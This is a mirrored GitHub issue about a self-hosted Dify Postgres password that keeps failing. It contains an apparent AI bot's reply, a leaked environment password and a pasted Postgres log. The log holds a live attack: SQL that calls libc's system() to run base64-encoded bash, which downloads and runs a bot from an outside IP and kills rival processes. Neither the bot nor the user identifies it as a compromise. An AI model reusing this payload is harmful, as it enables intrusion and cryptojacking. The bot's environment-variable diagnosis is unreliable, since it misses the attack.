langgenius/dify
1
0
Fork 0
mirror of https://github.com/langgenius/dify.git synced 2026-07-19 08:35:20 -04:00
Code Issues 775 Packages Projects Releases 10 Wiki Activity

Postgres database password changes periodically and will be reset #22024

New Issue
Closed
opened 2026-02-21 20:15:19 -05:00 by yindo · 5 comments
yindo commented 2026-02-21 20:15:19 -05:00
Owner
Copy Link
Copy Source

Originally created by @lsh-boop on GitHub (Feb 2, 2026).

Self Checks

  • I have read the Contributing Guide and Language Policy.
  • This is only for bug report, if you would like to ask a question, please head to Discussions.
  • I have searched for existing issues search for existing issues, including closed ones.
  • I confirm that I am using English to submit this report, otherwise it will be closed.
  • 【中文用户 & Non English User】请使用英语提交，否则会被关闭 ：）
  • Please do not modify this template :) and fill in all the required fields.

Dify version

1.3.1

Cloud or Self Hosted

Self Hosted (Docker)

Steps to reproduce

When I use:
docker exec a63199929260 psql -U postgres -c "ALTER USER postgres WITH PASSWORD 'difyai123456';"
After setting the password for the database, it will appear periodically
sqlalchemy.exc.OperationalError: (psycopg2.OperationalError) FATAL: password authentication failed for user "postgres"
The issue of failed connection authentication.

I don't know how to solve the problem

✔️ Expected Behavior

When:
2026-02-02 09:48:00.380 UTC [8377] FATAL: password authentication failed for user "weblate"
2026-02-02 09:48:00.380 UTC [8377] DETAIL: Role "weblate" does not exist. Connection matched pg_hba.conf line 100: "host all all all scram-sha-256"
2026-02-02 09:48:03.306 UTC [8415] FATAL: password authentication failed for user "weblate"
2026-02-02 09:48:03.306 UTC [8415] DETAIL: Role "weblate" does not exist. Connection matched pg_hba.conf line 100: "host all all all scram-sha-256"
When it comes to password reset, there will be a problem

❌ Actual Behavior

No response

Originally created by @lsh-boop on GitHub (Feb 2, 2026). ### Self Checks - [x] I have read the [Contributing Guide](https://github.com/langgenius/dify/blob/main/CONTRIBUTING.md) and [Language Policy](https://github.com/langgenius/dify/issues/1542). - [x] This is only for bug report, if you would like to ask a question, please head to [Discussions](https://github.com/langgenius/dify/discussions/categories/general). - [x] I have searched for existing issues [search for existing issues](https://github.com/langgenius/dify/issues), including closed ones. - [x] I confirm that I am using English to submit this report, otherwise it will be closed. - [x] 【中文用户 & Non English User】请使用英语提交，否则会被关闭 ：） - [x] Please do not modify this template :) and fill in all the required fields. ### Dify version 1.3.1 ### Cloud or Self Hosted Self Hosted (Docker) ### Steps to reproduce When I use: docker exec a63199929260 psql -U postgres -c "ALTER USER postgres WITH PASSWORD 'difyai123456';" After setting the password for the database, it will appear periodically sqlalchemy.exc.OperationalError: (psycopg2.OperationalError) FATAL: password authentication failed for user "postgres" The issue of failed connection authentication. I don't know how to solve the problem ### ✔️ Expected Behavior When: 2026-02-02 09:48:00.380 UTC [8377] FATAL: password authentication failed for user "weblate" 2026-02-02 09:48:00.380 UTC [8377] DETAIL: Role "weblate" does not exist. Connection matched pg_hba.conf line 100: "host all all all scram-sha-256" 2026-02-02 09:48:03.306 UTC [8415] FATAL: password authentication failed for user "weblate" 2026-02-02 09:48:03.306 UTC [8415] DETAIL: Role "weblate" does not exist. Connection matched pg_hba.conf line 100: "host all all all scram-sha-256" When it comes to password reset, there will be a problem ### ❌ Actual Behavior _No response_
yindo added the 🐞 bugoutdated labels 2026-02-21 20:15:19 -05:00
yindo closed this issue 2026-02-21 20:15:19 -05:00
yindo commented 2026-02-21 20:15:20 -05:00
Author
Owner
Copy Link
Copy Source

@dosubot[bot] commented on GitHub (Feb 2, 2026):

The root cause is that in Dockerized Dify, the PostgreSQL password is managed by environment variables (like DB_PASSWORD), not by manual changes inside the container. If you use ALTER USER to change the password, but the environment variable or Docker Compose config still has the old password, the containers will fail to connect after a restart or redeploy, or if the database volume is reinitialized. This is why your password "resets" or authentication fails periodically—your manual change gets out of sync with the Docker-managed config, or the container re-applies the password from the environment variable on restart source source.

To fix and prevent this:

  1. Edit your .env file (or wherever your Docker Compose gets its environment variables) and set DB_USERNAME, DB_PASSWORD, and DB_DATABASE to your desired values. Make sure DB_PASSWORD matches the password you want for the postgres user.
  2. Make sure your docker-compose.yaml (or docker-compose-template.yaml) uses these variables for the Postgres service (POSTGRES_USER, POSTGRES_PASSWORD, POSTGRES_DB should be set from DB_USERNAME, DB_PASSWORD, DB_DATABASE).
  3. If you want to change the password, update it in .env and then restart all containers with docker-compose down && docker-compose up -d. Do not change the password manually inside the running container.
  4. Ensure your Postgres data volume (./volumes/db/data) is persistent and not being deleted or reinitialized, or you will lose your changes and the password will revert to the value in the environment variable source.
  5. If you use the dify-env-sync.sh script, be aware it can overwrite .env with values from .env.example, so always check your .env after running it source.

For the "weblate" user error: this user/role is not part of the default Dify setup. If you see repeated authentication attempts for "weblate", check your environment variables, external services, or plugins for any references to this user and remove them if not needed source.

If you follow these steps, your password changes will persist and authentication errors should stop. If issues persist, verify the actual environment variables loaded in your containers with docker exec <container> env and confirm they match your intended settings.

To reply, just mention @dosu.

How did I do? Good | Irrelevant | Incorrect | Verbose | Hallucination | Report 🐛 | Other

Chat with Dosu Open in Cursor Join Discord Share on X

@dosubot[bot] commented on GitHub (Feb 2, 2026): <!-- Answer --> The root cause is that in Dockerized Dify, the PostgreSQL password is managed by environment variables (like `DB_PASSWORD`), not by manual changes inside the container. If you use `ALTER USER` to change the password, but the environment variable or Docker Compose config still has the old password, the containers will fail to connect after a restart or redeploy, or if the database volume is reinitialized. This is why your password "resets" or authentication fails periodically—your manual change gets out of sync with the Docker-managed config, or the container re-applies the password from the environment variable on restart [source](https://github.com/langgenius/dify/issues/30876) [source](https://github.com/langgenius/dify/blob/491fa9923b8d1fd3820a5df40eda4ebf22affdf5/docker/docker-compose.yaml#L1-L1300). To fix and prevent this: 1. Edit your `.env` file (or wherever your Docker Compose gets its environment variables) and set `DB_USERNAME`, `DB_PASSWORD`, and `DB_DATABASE` to your desired values. Make sure `DB_PASSWORD` matches the password you want for the `postgres` user. 2. Make sure your `docker-compose.yaml` (or `docker-compose-template.yaml`) uses these variables for the Postgres service (`POSTGRES_USER`, `POSTGRES_PASSWORD`, `POSTGRES_DB` should be set from `DB_USERNAME`, `DB_PASSWORD`, `DB_DATABASE`). 3. If you want to change the password, update it in `.env` and then restart all containers with `docker-compose down && docker-compose up -d`. Do not change the password manually inside the running container. 4. Ensure your Postgres data volume (`./volumes/db/data`) is persistent and not being deleted or reinitialized, or you will lose your changes and the password will revert to the value in the environment variable [source](https://github.com/langgenius/dify/issues/30876). 5. If you use the `dify-env-sync.sh` script, be aware it can overwrite `.env` with values from `.env.example`, so always check your `.env` after running it [source](https://github.com/langgenius/dify/blob/491fa9923b8d1fd3820a5df40eda4ebf22affdf5/docker/dify-env-sync.sh#L3-L465). For the `"weblate"` user error: this user/role is not part of the default Dify setup. If you see repeated authentication attempts for `"weblate"`, check your environment variables, external services, or plugins for any references to this user and remove them if not needed [source](https://github.com/langgenius/dify/blob/491fa9923b8d1fd3820a5df40eda4ebf22affdf5/docker/docker-compose.yaml#L1-L1300). If you follow these steps, your password changes will persist and authentication errors should stop. If issues persist, verify the actual environment variables loaded in your containers with `docker exec <container> env` and confirm they match your intended settings. <!-- Dosu Comment Footer --> *To reply, just mention [@dosu](https://go.dosu.dev/dosubot).* --- <sup>How did I do? [Good](https://app.dosu.dev/response-feedback/f8ec226d-794e-4083-bd57-f2e3ee556c2b?feedback_type=great_response) | [Irrelevant](https://app.dosu.dev/response-feedback/f8ec226d-794e-4083-bd57-f2e3ee556c2b?feedback_type=irrelevant_answer) | [Incorrect](https://app.dosu.dev/response-feedback/f8ec226d-794e-4083-bd57-f2e3ee556c2b?feedback_type=incorrect_sources) | [Verbose](https://app.dosu.dev/response-feedback/f8ec226d-794e-4083-bd57-f2e3ee556c2b?feedback_type=too_verbose) | [Hallucination](https://app.dosu.dev/response-feedback/f8ec226d-794e-4083-bd57-f2e3ee556c2b?feedback_type=hallucination) | [Report 🐛](https://app.dosu.dev/response-feedback/f8ec226d-794e-4083-bd57-f2e3ee556c2b?feedback_type=bug_report) | [Other](https://app.dosu.dev/response-feedback/f8ec226d-794e-4083-bd57-f2e3ee556c2b?feedback_type=other)</sup> [![Chat with Dosu](https://dosu.dev/dosu-chat-badge.svg)](https://app.dosu.dev/6088a4f4-073a-43f3-b3d4-4f06fb0c05a0/ask?utm_source=github)&nbsp;[![Open in Cursor](https://dosu.dev/dosu-in-cursor.svg)](https://cursor.com/link/prompt?text=The%20root%20cause%20is%20that%20in%20Dockerized%20Dify%2C%20the%20PostgreSQL%20password%20is%20managed%20by%20environment%20variables%20%28like%20%60DB_PASSWORD%60%29%2C%20not%20by%20manual%20changes%20inside%20the%20container.%20If%20you%20use%20%60ALTER%20USER%60%20to%20change%20the%20password%2C%20but%20the%20environment%20variable%20or%20Docker%20Compose%20config%20still%20has%20the%20old%20password%2C%20the%20containers%20will%20fail%20to%20connect%20after%20a%20restart%20or%20redeploy%2C%20or%20if%20the%20database%20volume%20is%20reinitialized.%20This%20is%20why%20your%20password%20%22resets%22%20or%20authentication%20fails%20periodically%E2%80%94your%20manual%20change%20gets%20out%20of%20sync%20with%20the%20Docker-managed%20config%2C%20or%20the%20container%20re-applies%20the%20password%20from%20the%20environment%20variable%20on%20restart%20%5Bsource%5D%28https%3A//github.com/langgenius/dify/issues/30876%29%20%5Bsource%5D%28https%3A//github.com/langgenius/dify/blob/491fa9923b8d1fd3820a5df40eda4ebf22affdf5/docker/docker-compose.yaml%23L1-L1300%29.%0A%0ATo%20fix%20and%20prevent%20this%3A%0A%0A1.%20Edit%20your%20%60.env%60%20file%20%28or%20wherever%20your%20Docker%20Compose%20gets%20its%20environment%20variables%29%20and%20set%20%60DB_USERNAME%60%2C%20%60DB_PASSWORD%60%2C%20and%20%60DB_DATABASE%60%20to%20your%20desired%20values.%20Make%20sure%20%60DB_PASSWORD%60%20matches%20the%20password%20you%20want%20for%20the%20%60postgres%60%20user.%0A2.%20Make%20sure%20your%20%60docker-compose.yaml%60%20%28or%20%60docker-compose-template.yaml%60%29%20uses%20these%20variables%20for%20the%20Postgres%20service%20%28%60POSTGRES_USER%60%2C%20%60POSTGRES_PASSWORD%60%2C%20%60POSTGRES_DB%60%20should%20be%20set%20from%20%60DB_USERNAME%60%2C%20%60DB_PASSWORD%60%2C%20%60DB_DATABASE%60%29.%0A3.%20If%20you%20want%20to%20change%20the%20password%2C%20update%20it%20in%20%60.env%60%20and%20then%20restart%20all%20containers%20with%20%60docker-compose%20down%20%26%26%20docker-compose%20up%20-d%60.%20Do%20not%20change%20the%20password%20manually%20inside%20the%20running%20container.%0A4.%20Ensure%20your%20Postgres%20data%20volume%20%28%60./volumes/db/data%60%29%20is%20persistent%20and%20not%20being%20deleted%20or%20reinitialized%2C%20or%20you%20will%20lose%20your%20changes%20and%20the%20password%20will%20revert%20to%20the%20value%20in%20the%20environment%20variable%20%5Bsource%5D%28https%3A//github.com/langgenius/dify/issues/30876%29.%0A5.%20If%20you%20use%20the%20%60dify-env-sync.sh%60%20script%2C%20be%20aware%20it%20can%20overwrite%20%60.env%60%20with%20values%20from%20%60.env.example%60%2C%20so%20always%20check%20your%20%60.env%60%20after%20running%20it%20%5Bsource%5D%28https%3A//github.com/langgenius/dify/blob/491fa9923b8d1fd3820a5df40eda4ebf22affdf5/docker/dify-env-sync.sh%23L3-L465%29.%0A%0AFor%20the%20%60%22weblate%22%60%20user%20error%3A%20this%20user/role%20is%20not%20part%20of%20the%20default%20Dify%20setup.%20If%20you%20see%20repeated%20authentication%20attempts%20for%20%60%22weblate%22%60%2C%20check%20your%20environment%20variables%2C%20external%20services%2C%20or%20plugins%20for%20any%20references%20to%20this%20user%20and%20remove%20them%20if%20not%20needed%20%5Bsource%5D%28https%3A//github.com/langgenius/dify/blob/491fa9923b8d1fd3820a5df40eda4ebf22affdf5/docker/docker-compose.yaml%23L1-L1300%29.%0A%0AIf%20you%20follow%20these%20steps%2C%20your%20password%20changes%20will%20persist%20and%20authentication%20errors%20should%20stop.%20If%20issues%20persist%2C%20verify%20the%20actual%20environment%20variables%20loaded%20in%20your%20containers%20with%20%60docker%20exec%20%3Ccontainer%3E%20env%60%20and%20confirm%20they%20match%20your%20intended%20settings.)&nbsp;[![Join Discord](https://img.shields.io/badge/join-5865F2?logo=discord&logoColor=white&label=)](https://go.dosu.dev/discord-bot)&nbsp;[![Share on X](https://img.shields.io/badge/X-share-black)](https://twitter.com/intent/tweet?text=%40dosu_ai%20helped%20me%20solve%20this%20issue!&url=https%3A//github.com/langgenius/dify/issues/31845)
yindo commented 2026-02-21 20:15:20 -05:00
Author
Owner
Copy Link
Copy Source

@lsh-boop commented on GitHub (Feb 2, 2026):

root@dzzn-server:~/dify/docker# docker exec docker-db-1 env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=fcae65707b4e
PGUSER=postgres
POSTGRES_PASSWORD=hOYy5Nj8HYhL
POSTGRES_DB=dify
PGDATA=/var/lib/postgresql/data/pgdata
GOSU_VERSION=1.17
LANG=en_US.utf8
PG_MAJOR=15
PG_VERSION=15.13
PG_SHA256=4f62e133d22ea08a0401b0840920e26698644d01a80c34341fb732dd0a90ca5d
DOCKER_PG_LLVM_DEPS=llvm19-dev clang19
HOME=/root

Image

还是连接失败哦。。。
而且我使用 difyai123456 也连不上了哦 @crazywoola

@lsh-boop commented on GitHub (Feb 2, 2026): root@dzzn-server:~/dify/docker# docker exec docker-db-1 env PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=fcae65707b4e PGUSER=postgres POSTGRES_PASSWORD=hOYy5Nj8HYhL POSTGRES_DB=dify PGDATA=/var/lib/postgresql/data/pgdata GOSU_VERSION=1.17 LANG=en_US.utf8 PG_MAJOR=15 PG_VERSION=15.13 PG_SHA256=4f62e133d22ea08a0401b0840920e26698644d01a80c34341fb732dd0a90ca5d DOCKER_PG_LLVM_DEPS=llvm19-dev clang19 HOME=/root <img width="1579" height="772" alt="Image" src="https://github.com/user-attachments/assets/003dc736-391b-471b-9469-ff5b56642a6f" /> 还是连接失败哦。。。 而且我使用 difyai123456 也连不上了哦 @crazywoola
yindo commented 2026-02-21 20:15:21 -05:00
Author
Owner
Copy Link
Copy Source

@lsh-boop commented on GitHub (Feb 2, 2026):

执行了：

Image

连接成功，大概过几分钟之后，就会出现连接失败哦。 @crazywoola 帮我看一下 谢谢

@lsh-boop commented on GitHub (Feb 2, 2026): 执行了： <img width="2924" height="653" alt="Image" src="https://github.com/user-attachments/assets/5eea9d82-917d-41a4-a3d5-083f67902dc7" /> 连接成功，大概过几分钟之后，就会出现连接失败哦。 @crazywoola 帮我看一下 谢谢
yindo commented 2026-02-21 20:15:21 -05:00
Author
Owner
Copy Link
Copy Source

@lsh-boop commented on GitHub (Feb 2, 2026):

log ：

2026-02-03 02:29:50.342 UTC [6609] STATEMENT: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('echo ZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8IiQocHJpbnRmICclcycgIiQxIiB8IHNlZCAncyM6Ly8jICM7cyMvIyAjJykiCiAgRE9DPSIvJHBhdGgiCiAgSE9TVD0iJHtzZXJ2ZXIlJToqfSIKICBQT1JUPSIke3NlcnZlciMjKjp9IgogIFsgIiRIT1NUIiA9ICIkUE9SVCIgXSAmJiBQT1JUPTgwCiAgZXhlYyAzPD4vZGV2L3RjcC8kSE9TVC8kUE9SVAogIHByaW50ZiAiR0VUICVzIEhUVFAvMS4xXHJcbkhvc3Q6ICVzXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iICIkRE9DIiAiJEhPU1QiID4mMwogIHdoaWxlIElGUz0gcmVhZCAtciBsaW5lIDwmMzsgZG8KICAgIGxpbmU9JHtsaW5lJSQnXHInfQogICAgWyAteiAiJGxpbmUiIF0gJiYgYnJlYWsKICBkb25lCiAgY2F0IDwmMwogIGV4ZWMgMz4mLQp9Cgpmb3IgcGlkIGluIC9wcm9jL1swLTldKjsgZG8gcGlkPSR7cGlkIyMqL307IHJlc3VsdD0kKGxzIC1sIC9wcm9jLyRwaWQvZXhlKTsgY2FzZSAkcmVzdWx0IGluICoiL3RtcC93YXRjaGRvZyIqfCoiL3Zhci9Tb2ZpYSIqfCoibWNybmxob3kiKnwqInBnX21lbSIqfCoieDg2Iip8KiJtZW1mZCIqfCoiLm1ldGFiYXNlIip8KiJjYXQiKnwqIi90bXAvLiIqfCoiL3RtcC8uci5ycGsvIip8KiJqYXZhdm02NCIqfCoiaHR0cGQiKnwqImRvY2tlcmQiKnwqInJlZGlzZXJ2ZXIiKnwqImRhc2giKnwqImtpbnNpbmciKnwqImtkZXZ0bXBmc2kiKnwqIi90bXAvLnBlcmYuYy8iKnwqIi90bXAvY2NybCIqfCoiL3RtcC9odHRwZCIqfCoicNC+c3RtYXN0ZXIiKikga2lsbCAtOSAkcGlkIDs7IGVzYWM7IGRvbmUKZm9yIHAgaW4gL3Byb2MvWzAtOV0qOyBkbyBwaWQ9JHtwIyMqL307IGV4ZT0kKGxzIC1sIC9wcm9jLyRwaWQvZXhlIDI+L2Rldi9udWxsKTsgY2FzZSAiJGV4ZSIgaW4gKiJpbml0IiopIGV4aXQgOzsgZXNhYzsgZG9uZQpfX2N1cmwgaHR0cDovLzE4NS4xODYuMjUuMTIwL2JvdCA+IC90bXAvYm90ICYmIGNobW9kICt4IC90bXAvYm90ICYmIGNkIC90bXA7Li9ib3QgZGF0YWJhc2UxOwo=|base64 -d|bash');

@crazywoola

@lsh-boop commented on GitHub (Feb 2, 2026): log ： 2026-02-03 02:29:50.342 UTC [6609] STATEMENT: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('echo ZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8IiQocHJpbnRmICclcycgIiQxIiB8IHNlZCAncyM6Ly8jICM7cyMvIyAjJykiCiAgRE9DPSIvJHBhdGgiCiAgSE9TVD0iJHtzZXJ2ZXIlJToqfSIKICBQT1JUPSIke3NlcnZlciMjKjp9IgogIFsgIiRIT1NUIiA9ICIkUE9SVCIgXSAmJiBQT1JUPTgwCiAgZXhlYyAzPD4vZGV2L3RjcC8kSE9TVC8kUE9SVAogIHByaW50ZiAiR0VUICVzIEhUVFAvMS4xXHJcbkhvc3Q6ICVzXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iICIkRE9DIiAiJEhPU1QiID4mMwogIHdoaWxlIElGUz0gcmVhZCAtciBsaW5lIDwmMzsgZG8KICAgIGxpbmU9JHtsaW5lJSQnXHInfQogICAgWyAteiAiJGxpbmUiIF0gJiYgYnJlYWsKICBkb25lCiAgY2F0IDwmMwogIGV4ZWMgMz4mLQp9Cgpmb3IgcGlkIGluIC9wcm9jL1swLTldKjsgZG8gcGlkPSR7cGlkIyMqL307IHJlc3VsdD0kKGxzIC1sIC9wcm9jLyRwaWQvZXhlKTsgY2FzZSAkcmVzdWx0IGluICoiL3RtcC93YXRjaGRvZyIqfCoiL3Zhci9Tb2ZpYSIqfCoibWNybmxob3kiKnwqInBnX21lbSIqfCoieDg2Iip8KiJtZW1mZCIqfCoiLm1ldGFiYXNlIip8KiJjYXQiKnwqIi90bXAvLiIqfCoiL3RtcC8uci5ycGsvIip8KiJqYXZhdm02NCIqfCoiaHR0cGQiKnwqImRvY2tlcmQiKnwqInJlZGlzZXJ2ZXIiKnwqImRhc2giKnwqImtpbnNpbmciKnwqImtkZXZ0bXBmc2kiKnwqIi90bXAvLnBlcmYuYy8iKnwqIi90bXAvY2NybCIqfCoiL3RtcC9odHRwZCIqfCoicNC+c3RtYXN0ZXIiKikga2lsbCAtOSAkcGlkIDs7IGVzYWM7IGRvbmUKZm9yIHAgaW4gL3Byb2MvWzAtOV0qOyBkbyBwaWQ9JHtwIyMqL307IGV4ZT0kKGxzIC1sIC9wcm9jLyRwaWQvZXhlIDI+L2Rldi9udWxsKTsgY2FzZSAiJGV4ZSIgaW4gKiJpbml0IiopIGV4aXQgOzsgZXNhYzsgZG9uZQpfX2N1cmwgaHR0cDovLzE4NS4xODYuMjUuMTIwL2JvdCA+IC90bXAvYm90ICYmIGNobW9kICt4IC90bXAvYm90ICYmIGNkIC90bXA7Li9ib3QgZGF0YWJhc2UxOwo=|base64 -d|bash'); @crazywoola
yindo commented 2026-02-21 20:15:21 -05:00
Author
Owner
Copy Link
Copy Source

@Pahkho commented on GitHub (Feb 8, 2026):

I'm also very surprised that my two versions, 1.7.1 and 1.11.1, suddenly behaved this way without me making any changes.

@Pahkho commented on GitHub (Feb 8, 2026): I'm also very surprised that my two versions, 1.7.1 and 1.11.1, suddenly behaved this way without me making any changes.
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
Knowledge Pipeline
Proposal
WIP
cloud
dependencies
feat:webapp
good first issue
outdated
performance
pull-request
Mirrored from GitHub Pull Request
 python:uv
refactor
size:L
stale
status: accepting prs
status: blocked
status: in discussion
stt & tts
vulnerablity
web
wont-fix
🌊 feat:workflow
🌚 invalid
🐞 bug
👻 feat:rag
💪 enhancement
📚 documentation
🔨 feat:tools
🙋‍♂️ question
🙏 help wanted
🤔 cant-reproduce
🤖 feat:agent
No Label outdated 🐞 bug
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
yindo
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: langgenius/dify#22024
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?